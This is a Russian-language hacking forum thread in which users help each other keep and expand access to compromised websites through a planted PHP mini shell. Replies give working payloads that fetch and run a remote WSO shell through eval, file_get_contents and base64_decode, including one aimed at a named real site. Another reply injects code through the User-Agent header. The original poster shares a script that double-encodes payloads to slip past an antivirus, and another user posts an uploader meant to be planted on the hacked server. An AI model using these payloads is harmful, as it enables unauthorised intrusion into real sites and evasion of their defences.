Доброго времени суток. Залился на сайт. Через время допустил ошибку и шелл снесли. Оставил на сайте мини шелл. Захожу, все работает, довольный сижу такой, думаю щас зальюсь. А тут ***.... mshell.php?p1r0=phpinfo(); - GOOD mshell.php?p1r0=copy('http://site./wso.txt','./wso.php'); - BAD На сервере винда.... От чего может такое быть? Как решать? Спасибо.
http://base64.ru/ Кодируешь PHP код, затем юзаешь так: mshell.php?p1r0=eval(base64_decode()); без '', и если спец символы на хвосте ("равно" например), то просто убирай их. Думаю, должно сработать...
ShellRoot base64_decode тоже принимает стринг, поэтому кaвычки обязательны 2 TC copy($_GET[a],$_GET);&a=...&b= или file_put_contents($_GET[a],file_get_contents($_GET));&a=&b= пригодится http://php.su/functions/?stripslashes
Konqi, сколько раз без кавычек делал норм, достаточно стринг сделать так: $a = (textstring); но вот если используются спец.символы, такие как точки и т.п тогда уже надо, но мы специально заюзали без "равно", или иначе заюзать из глобальной переменной
вот для начала и кури, что там выводится. Например allow_url_fopen = off - и всё, забудь про шелл с другого сайта - онли только грузить с локали. Хочешь грамотный ответ - давай инфу по ключевым позициям. Из того же phpinfo. Что такое "там" ключевые позиции - думай сам. PS: Прежде чем страдать херней и юзать всяческие аплоадеры - для начала найди папку, в которую ты можешь вообще писать в принципе, и проверить её еще на предмет запретных правил предварительно (ошибки вообще-то тоже фиксируются). На то у тебя уже есть огромные возможности - выполняется phpinfo() - Значит в твоем распоряжении вся мощь языка ПИЭЙЧПИ. Кстати, стыдно задавать такие вопросы, если phpinfo() выполняется. И никакие статьи это не реабилитируют. У тебя уже есть выполнение php-кода. Вообще-то это равно иметь шелл. Думай
Pashkela, стыдно задавать такие вопросы, но если их не задавать, то стыдится прийдется всегда! Спасибо, вот щас сижу, думаю. Странно то, что под бэйс64 кавычки выполняются на ура... Тоесть mq тут не причем. UPD ________________________________________ Пробовал осздать файл, не помогло, не создается.... Идеи?
Еще как при чем. magic_quotes_gpc режет GPC массивы. Кавычки `бейсятся` и естественно пропускаются через magic_quotes попадая далее в последующую функцию. Далее по делу: http://site/?cmd=eval($_SERVER[HTTP_USER_AGENT]); И модифицируй к виду HEADER: HTTP_USER_AGENT-> file_put_content('uploader.php','upload php code'); Это если php5 - если 4 пофантазируй. В пути также на директорию должны быть права. Я не знаю какие у тебя ограничения в твоем случае. Мб поможет, в данном случае использование не GPC массива снимет слеширование через magic_quotes и прозволит использовать кавычки и указывать пути.
http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode(тут_без_кавычек_адрес_твоего_шелла_например_http://site/shell.txt_только_в_base64))); т.е. что-то типо этого: http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode(aHR0cDovL3NpdGUvd3NvMl9ldmFsLnR4dA))); НО, сначала почитай: http://forum.antichat.ru/thread191917.html посмотри на дату и пусть тебе станет стыдно PS: пох на права, шелл там льется за 2 секунды Не проверял, но по моему легко зальется wso pack shell - т.е. упакованный (размер имеет значение )
Фух! Залил. Проблемма была решена очень интерестно. Дело в том, что там появился антивирусник, который палил не только содержимое шелла, но и сам запрос. Помогло двойное base64 кодирование обоих! Вот скриптик. PHP: <form method=POST> Введите PHP код:<br> <textarea name="code" style="width: 344px; height: 133px;"></textarea><br> <input type=submit value="<?php $a="11З111а111к1111р111и111п11т11о11111в11а111т111ь11 111111111м111е111т11о11д1о111м111111111 111м1а111м111ы111"; $a=explode("1",$a); $a=implode("",$a); echo $a; ?>"> </form> <?php if(isset($_POST['code'])) { $a = base64_encode($_POST['code']); $a = explode("=",$a); $a = implode("",$a); $a = base64_encode("eval(base64_decode(".$a."));"); $a = explode("=",$a); $a = implode("",$a); echo "<br>Ваш код:<br>\neval(base64_decode(".$a."));"; } ?>
я аплоадер заливаю сразу,а потом шел PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Max's File Uploader</title> <link href="style/style.css" rel="stylesheet" type="text/css" /> </head> <body> <?php chdir(".."); $myUpload = new maxUpload(); //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR); $myUpload->uploadFile(); ?> <?php /************************************************* * Max's File Uploader * * Version: 1.0 * Date: 2007-11-26 * ****************************************************/ class maxUpload{ var $uploadLocation; /** * Constructor to initialize class varaibles * The uploadLocation will be set to the actual * working directory * * @return maxUpload */ function maxUpload(){ $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR; } /** * This function sets the directory where to upload the file * In case of Windows server use the form: c:\\temp\\ * In case of Unix server use the form: /tmp/ * * @param String Directory where to store the files */ function setUploadLocation($dir){ $this->uploadLocation = $dir; } function showUploadForm($msg='',$error=''){ ?> <div id="container"> <div id="header"><div id="header_left"></div> <div id="header_main"> File Uploader</div><div id="header_right"></div></div> <div id="content"> <?php if ($msg != ''){ echo '<p class="msg">'.$msg.'</p>'; } else if ($error != ''){ echo '<p class="emsg">'.$error.'</p>'; } ?> <form action="" method="post" enctype="multipart/form-data" > <center> <label>File: <input name="myfile" type="file" size="30" /> </label> <label> <input type="submit" name="submitBtn" class="sbtn" value="Upload" /> </label> </center> </form> </div> <div id="footer"><a href="http://www.phpf1.com" target="_blank">Powered by PHP F1</a> <a href="http://www.zarabyte.com" target="_blank">Modded by: ZaraByte</a></div> </div> <?php } function uploadFile(){ if (!isset($_POST['submitBtn'])){ $this->showUploadForm(); } else { $msg = ''; $error = ''; //Check destination directory if (!file_exists($this->uploadLocation)){ $error = "The target directory doesn't exists!"; } else if (!is_writeable($this->uploadLocation)) { $error = "The target directory is not writeable!"; } else { $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']); if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) { $msg = basename( $_FILES['myfile']['name']). " was uploaded successfully!"; } else{ $error = "The upload process failed!"; } } $this->showUploadForm($msg,$error); } } } ?> </body>